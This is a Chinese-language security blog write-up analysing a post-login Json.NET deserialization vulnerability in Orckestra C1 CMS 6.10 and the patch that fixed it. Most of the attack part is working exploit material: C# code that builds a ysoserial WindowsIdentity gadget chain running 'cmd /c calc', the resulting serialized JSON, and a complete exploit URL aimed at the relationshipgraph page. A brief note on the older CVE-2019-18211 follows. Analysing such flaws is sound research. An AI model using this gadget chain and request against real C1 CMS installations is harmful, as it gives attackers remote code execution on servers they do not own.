Orckestra C1 CMS 6.10存在 .net 反序列化漏洞,需要登录,成因是因为TypeNameHandling.Auto
下载 https://github.com/Orckestra/C1-CMS-Foundation/releases/download/v6.10/C1.CMS.6.10.zip
然后Visual Studio打开运行。
根据cve描述和补丁对比发现漏洞点存在于Composite.dll,使用github的对比发现在此commit中增加了对反序列化绑定类型的校验。
https://github.com/Orckestra/C1-CMS-Foundation/commit/73dc26050e5f3ffc31531aa332463de9398bc213
而我在之前的文章中写过,json.net如果使用了TypeNameHandling.All或者TypeNameHandling.Auto,会造成反序列化问题。官方建议如果使用TypeNameHandling要使用binder来控制反序列化的类型。
那么根据补丁我们来看6.10版本的CompositeSerializationBinder类
有漏洞的6.10版本中判断了assemblyName等于Composite.Generated
并且typeName以CompositeGenerated开头,进行自写类的type逻辑处理,别的type直接调用基类,那么等于没做限制。
CompositeSerializationBinder被用在CompositeJsonSerializer类中,其中有两个静态方法需要注意
直接传入json字符串然后反序列化,并且TypeNameHandling为auto。
第二个静态方法比较关键
分别获取json中的meta:obj、meta:type,然后根据type反射获取其Deserialize方法,如果为空则调用上面的第一个静态方法,传入meta:obj标签的值,直接反序列化。
我们可以构造payload如下
1{"meta:obj":"","meta:type":""}
当type获取不到静态Deserialize方法时,进入CompositeJsonSerializer.Deserialize<T>(text)
那么这两个点都可控,接着我们看哪里调用了这个方法。
EntityTokenSerializer.Deserialize(string)调用其两个参数的重载方法,经过CompositeJsonSerializer.IsJsonSerialized(serializedEntityToken)判断进入CompositeJsonSerializer.Deserialize<EntityToken>(serializedEntityToken, includeHashValue)
这里接受的类型为EntityToken,所以我们需要寻找EntityToken中可以存储payload的地方,例如一个object类型的字段。
我们可以通过几行代码来寻找哪些类继承了EntityToken类
1 Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies();
2 foreach (var assembly in assemblies)
3 {
4 if (assembly.FullName.Contains("Composite"))
5 {
6 Type[] types = assembly.GetTypes();
7 foreach (var type in types)
8 {
9 try
10 {
11 if (!typeof(EntityToken).IsAssignableFrom(method.ReturnType))
12 {
13 continue;
14 }
15 else
16 {
17 var memberInfos = type.GetProperties(BindingFlags.NonPublic|BindingFlags.Instance|BindingFlags.Public);
18 foreach (var member in memberInfos)
19 {
20 resp($"type:{type.Name} 字段名:{member.Name} 类型:{member.PropertyType}");
21 }
22 }
23
24 }
25 catch
26 {
27 }
28 }
29 }
30 }
发现DataGroupingProviderHelperEntityToken类中GroupingValues是一个Dictionary<string, object>
类型,可以存放gadget。
那么可以构造payload
1using Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper;
2using Newtonsoft.Json;
3using System;
4using System.Collections.Generic;
5using System.IO;
6using System.Runtime.Serialization;
7using System.Security.Principal;
8using System.Text;
9
10namespace ConsoleApp1
11{
12 class Program
13 {
14 static void Main(string[] args)
15 {
16 // .\ysoserial.exe -f binaryformatter -g TextFormattingRunProperties -c calc --minify
17 var windowsIdentity = new WindowsIdentityIdentityMarshal("AAEAAAD/////AQAAAAAAAAAMAgAAABtNaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD6AjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOmE9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSI+PE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT48YTpQcm9jZXNzPjxhOlByb2Nlc3MuU3RhcnRJbmZvPjxhOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjIiBGaWxlTmFtZT0iY21kIi8+PC9hOlByb2Nlc3MuU3RhcnRJbmZvPjwvYTpQcm9jZXNzPjwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=");
18 Dictionary<string, object> dictionary = new Dictionary<string, object> { };
19 dictionary.Add("asd", windowsIdentity);
20
21
22 DataGroupingProviderHelperEntityToken dataGroupingProviderHelperEntityToken = new DataGroupingProviderHelperEntityToken(typeof(DataGroupingProviderHelperEntityToken).AssemblyQualifiedName);
23 dataGroupingProviderHelperEntityToken.GroupingValues = dictionary;
24 StringBuilder sb = new StringBuilder();
25 using (StringWriter sw = new StringWriter(sb))
26 using (JsonTextWriter writer = new JsonTextWriter(sw))
27 {
28 writer.QuoteChar = '\'';
29
30 JsonSerializer ser = new JsonSerializer();
31 ser.TypeNameHandling = TypeNameHandling.All;
32 ser.Serialize(writer, dataGroupingProviderHelperEntityToken);
33 }
34 Console.WriteLine(sb);
35 Console.ReadKey();
36 }
37 }
38
39 [Serializable]
40 public class WindowsIdentityIdentityMarshal : ISerializable
41 {
42 public WindowsIdentityIdentityMarshal(string b64payload)
43 {
44 B64Payload = b64payload;
45 }
46
47 private string B64Payload { get; }
48
49 public void GetObjectData(SerializationInfo info, StreamingContext context)
50 {
51 Console.WriteLine(typeof(WindowsIdentity).AssemblyQualifiedName);
52 info.SetType(typeof(WindowsIdentity));
53 info.AddValue("System.Security.ClaimsIdentity.actor", B64Payload);
54 }
55 }
56}
生成之后替换一下程序集名称
1{'$type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite','Type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null','Source':'','Id':'','GroupingValues':{'$type':'System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.Object, mscorlib]], mscorlib','asd':{'$type':'System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089','System.Security.ClaimsIdentity.actor':'AAEAAAD/////AQAAAAAAAAAMAgAAABtNaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD6AjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOmE9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSI+PE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT48YTpQcm9jZXNzPjxhOlByb2Nlc3MuU3RhcnRJbmZvPjxhOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjIiBGaWxlTmFtZT0iY21kIi8+PC9hOlByb2Nlc3MuU3RhcnRJbmZvPjwvYTpQcm9jZXNzPjwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs='}},'Payload':null,'SerializedTypeName':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null'}
然后再找一下哪里调用了EntityTokenSerializer.Deserialize(serializedEntityToken);
c:\Website\Composite\content\views\relationshipgraph\Default.aspx.cs
直接get传入EntityToken进行反序列化。
由此构造payload
1http://localhost:36859/Composite/content/views/relationshipgraph/Default.aspx?EntityToken={"meta:obj":"{'$type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite','Type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null','Source':'','Id':'','GroupingValues':{'$type':'System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.Object, mscorlib]], mscorlib','asd':{'$type':'System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089','System.Security.ClaimsIdentity.actor':'AAEAAAD%2F%2F%2F%2F%2FAQAAAAAAAAAMAgAAABtNaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD6AjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOmE9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSI%2BPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT48YTpQcm9jZXNzPjxhOlByb2Nlc3MuU3RhcnRJbmZvPjxhOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjIiBGaWxlTmFtZT0iY21kIi8%2BPC9hOlByb2Nlc3MuU3RhcnRJbmZvPjwvYTpQcm9jZXNzPjwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs%3D'}},'Payload':null,'SerializedTypeName':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null'}","meta:type":"System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}
其中"meta:type":"System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
这个类型可以随便给,只要实现序列化接口就行。
c1cms历史洞6.5版本以前还有一个CVE-2019-18211,也是EntityTokenSerializer出的问题,在EntityTokenSerializer.cs中,
如果不以{
开头则进入DeserializeLegacy
而这个方法中可以调用任意类的Deserialize(string)静态方法,于是找到了Microsoft.Practices.EnterpriseLibrary.Logging.Formatters.BinaryLogFormatter
造成反序列化rce
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。